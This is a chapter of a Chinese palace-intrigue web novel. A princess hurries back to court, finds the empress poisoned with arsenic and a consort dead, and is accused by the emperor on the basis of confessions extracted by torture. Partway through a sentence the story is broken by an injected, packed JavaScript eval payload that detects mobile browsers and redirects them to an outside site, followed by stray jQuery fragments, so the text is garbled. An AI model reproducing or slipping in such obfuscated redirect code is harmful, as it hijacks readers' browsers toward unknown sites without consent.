48. 第 48 章
作品:《恶女意外攻略皇兄后》 说走就走,慕照临连夜收拾行李,次日一早便领着两人在徐府外同徐夫人和轻罗告别。
轻罗包着头巾,浑身裹得严严实实,只露出一双疲惫的眼睛,徐夫人小声怪道:“你说你非要来干什么,身体本就弱这又刚生了孩子,你就该老老实实地躺在床上。”
轻罗低着头,一言不发,任由徐夫人数落。
“徐夫人,轻罗姑娘也是一片好心,此去一别不知何时再能相见。”慕照临打断她,“其实徐夫人和轻罗姑娘都不用来,这一大早辛苦两位陪小人早起真是让小人过意不去。”
徐夫人摆摆手:“风内人这几日忙于救助琼州城的百姓,您也是贵人,我们必要来送。”
慕照临笑着道:“千里送君,终须一别,便送到这里吧,若是再不出发小人可要赶不及为贵妃娘娘寿了。”
她利落翻身上马,握紧缰绳,随着一声“驾”,马儿便飞奔出去,扬起的灰尘迷了两人的眼。
突然徐夫人想起还有一事未说,便追了几步大喊道:“风内人,那个孩子叫徐舟。”
舟,可真是个好名字,慕照临向后挥挥手示意自己听到了。
三人一路出了城门,却见一人直愣愣地站在城外。慕照临没想到他会出现在这里,未来得及勒马,只与他短暂对视一眼。
慕瑾川看着她们的背影叹气,刚准备回去却见慕照临回马向这奔来。
她稳稳停在慕瑾川面前,胡舞两人则在前头等她。
“回去吧。”慕照临轻轻道。
慕瑾川笑着道:“妹妹一路小心,万不可大意。”
“知道啦,我在宫中等着你…们。”说罢慕照临眨眨眼睛,笑着再次启程。
三人一路不敢停,晚上也只睡三个时辰,终于十二日闭宫门前赶到。
宫中不可骑马,她们便将马匹留在外面装成霁和宫的宫人入内,有惊无险地到了霁和宫外,此时胡舞已藏起身形只剩慕照临和沈醉两人。
今日的霁和宫格外安静,慕照临猜大家都去了长乐宫参加贵妃娘娘的生辰宴,可她不知道宴会何时会结束而自己还要去换身衣裳,因而心中十分着急。
慕照临从身上摸出两个剑穗,递给沈醉:“玉露让我代为转交这两枚剑穗,红色的是吴音的,青色的则是你的。”
沈醉顿了半晌小心接过,小声道:“多谢公主。”
“不用谢我,你们应该好好谢谢玉露。”慕照临满脸着急,语速不自觉加快,“这几日你也辛苦了,好好在沉引殿休息两日吧。”
说完便匆匆进了霁和宫,她本怕被人撞见身上宫女的衣服解释不清,可幸运的是没碰到一个下人。
慕照临匆匆换了身衣裳便去翻找放生辰礼的地方,可却扑了个空,她走之前不曾想会在琼州耽搁如此久,故而没有提前交代。
此时没找到东西慕照临反而放下心来,应是灵芝交给了楚烟,让楚烟代为赠上。慕照临心想:这灵芝可真机灵,改日定要好好赏她。
她一边想着要赏灵芝什么一边幻想宁贵妃见了礼物欢喜的神情,就这样不知不觉来到长乐宫外。
宫门檐下挂着两个大大的红灯笼,上面写着老旧的吉祥话,福如东海,寿比南山。从外面也能看出宫中装饰的用心,灯火通明,彩绸和灯笼比比皆是,按理说宴会上该有乐师和舞女。
但慕照临并未听到一丝歌声,不过宫中并不安静,十分嘈杂。她在原地整整衣裳,挂上得体的笑容迈步进去,同时笑着道:“贵妃娘娘生辰宴…”
话语戛然而止,院中的席面上哪里有贵妃的人影?不止贵妃,除了宫女太监院中没有任何熟悉的身影。
下人三三两两围在一起,有的在小声说话,有的则十分沉默,让慕照临心惊的是有些竟然在哭泣。
她压下心中不详的预感,来到离自己最近的几人旁问道:“这里是什么情况?贵妃娘娘呢?皇后娘娘呢?”
正哭着的几个宫女一听这话直接跪了下去,哆嗦着道:“方才皇后娘娘和杨贵人突然口吐鲜血,此时已被抬到屋中让太医医治,贵妃娘娘受了惊吓…”
她还在说可慕照临哪有心情往下听,提着裙摆向屋中跑去,一靠近便是浓重的血腥味,桌上大片大片的鲜血看得她头晕眼花。
屋门大开,楚烟和杨贵人分别躺在两处,屋中人很少,除了几个太医和趴在杨昭白身上哭泣的沈宁再无他人。
慕照临跌跌撞撞来到楚烟身前,她胸前的衣裳全被鲜血染红,指甲有好几处断裂,发髻散乱,发丝上挂着已经干涸的血块,足以想象她方才有多痛苦。杨昭白比楚烟更为惨烈,七窍流血,面上一片死白。
沈宁哭得快要昏厥,听有人进来强撑着最后一丝力气抬头,见是慕照临便再也控制不住地崩溃大哭,摇摇晃晃来到她身边抱住她:“临儿,怎么办啊?怎么办啊?杨姐姐的孩子明明才刚刚会动。”
她的泪水一滴滴砸在慕照临的肩头,巨大的变故让她一时失语,甚至连眼泪都流不出,只愣愣地站在原地,机械地拍着沈宁的后背。
一旁太医在她进来时便跪到地上,低着头不敢望向两人。
沈宁哭了很久很久,直到声音沙哑才转为小声抽噎。
跪在地上的太医忙道:“是微臣无能这才没救下杨贵人,臣等到时她已没了气息,皇后娘娘虽已催吐服了药性命暂时无忧可也不知何时才能醒来,请公主责罚。”
慕照临反应半晌才明白他话中的意思,冷冷道:“可知是何毒药?此处除了你们为何没人照料?”
“砒毒,本该在这里的宫女都已被押走询问,这才有所疏忽。”
“陛下可知此事?”
“自然,此案正是陛下亲审。”
说着说着慕照临突然觉得肩头一沉,忙去晃沈宁,她却没了反应,连忙大喊道:“沈姑娘晕过去了,快来救人。”
跪在最前方的太医连忙上前帮忙将沈宁放在地上,搭脉问诊,半晌才道:“公主不必担忧,沈姑娘只是伤心过度,其余并无大碍。”
慕照临轻轻将她脸侧的发丝别到耳后,而后起身从外头随便叫来几个宫女照看几人。
她跪到了楚烟身旁,握住她有些冰冷的手。
一名宫女端着水盆想要为楚烟擦拭脸上的污渍,慕照临拦下她示意自己来做。她将毛巾放在温热的水中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890349|173032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,吸饱水后拿出来拧干,如此重复三下后才轻轻覆在楚烟的脸侧。
“公主可真是让小人好找。”潘公公突然出现在门外。
慕照临将毛巾递给身旁宫女后起身:“不知潘公公找我所为何事?”
潘公公皱着脸道:“哪是小人找公主,是陛下。”
“陛下此时在哪?”
“陛下正在长乐宫偏殿等着公主,公主快些跟着小人去吧。”
说完潘公公做出请的手势,慕照临心下疑惑却也只能跟着他离开,出门时她正好瞥见匿于阴影处的胡舞,对着她使了个眼色才放心离开。
越靠近偏殿血腥味就愈发明显,呛得慕照临拧起眉头,她忍不住问道:“陛下是对那些宫人动刑了吗?”
潘公公头也不回语气淡漠:“那些硬骨头终究是要受些罪才肯说的。”
慕照临还想再问,却见前方的潘公公已然停在一扇虚掩的门前,回过头道:“公主殿下请进吧。”
她点点头走进去,一进门便见地上躺着两个不止是死是活的宫人,她们此时比起人更像是血泥,身上头上没有一处完好的地方,破碎的衣裳找不出干净的地方,身下是大片大片黑色的血渍。
皇上正端坐于正前方的主位,一言不发地盯着桌上,听到慕照临进来才淡淡开口:“临儿来了。”
地上两人披头散发认不出身份,慕元澄却连眼不抬。慕照临一时摸不清他的意思,只先跪在地上行礼:“女儿见过父皇,不知父皇可有审出加害母后与杨贵人的真凶?”
“看来临儿已经知道这里发生了什么事。”慕元澄避而不谈她的问题,“不过临儿此时不该在琼州吗?怎得突然回来了?”
“今日是贵妃娘娘的生辰,贵妃娘娘待女儿极好,女儿想亲自送上生辰礼祝寿。”
“哦?生辰礼?”慕元澄突然暴跳而起,将桌上的东西甩到慕照临脸上,吼道,“这就是你的大礼吗?”
慕照临被他砸得一愣,却也顾不上其他忙捡起纸团打开,这赫然是一份供词。
她往下看去却见上面白纸黑字写着是她指使宫女将砒霜下在楚烟桌上的牛乳糕中,杨贵人是无意被牵连。
大致看了半篇慕照临便看不下去,她摇着头道:“父皇,女儿为何要害母后?这纸上全都是胡说八道,更何况女儿这些日子都没在…”
“够了!”慕元澄粗暴打断,“你早就知道自己并非我们亲女,害怕皇后弃你于不顾,这才痛下杀手!朕真是没想到你竟然如此狠心,早知此时朕当初就不该将你待进宫中!”
“女儿真的没有,父皇知道女儿这些天在哪里,女儿怎么会有机会指使宫女呢?”
慕元澄背过身不再看她,冷笑道:“你这些天不就在霁和宫养病吗?你还能在哪里?”
慕照临登时睁大双眼,死盯着眼前人的背影。
他还再继续:“这份供词是常心和檀香一同供认,她们都是皇后的亲信还能诬陷你不成?如果你供认不违有心悔改,念在多年的父女之情,朕能饶你一次。”
慕照临猛地低头看向手中的供词,最后果然清楚地写着两个名字和她们主人的红手印。

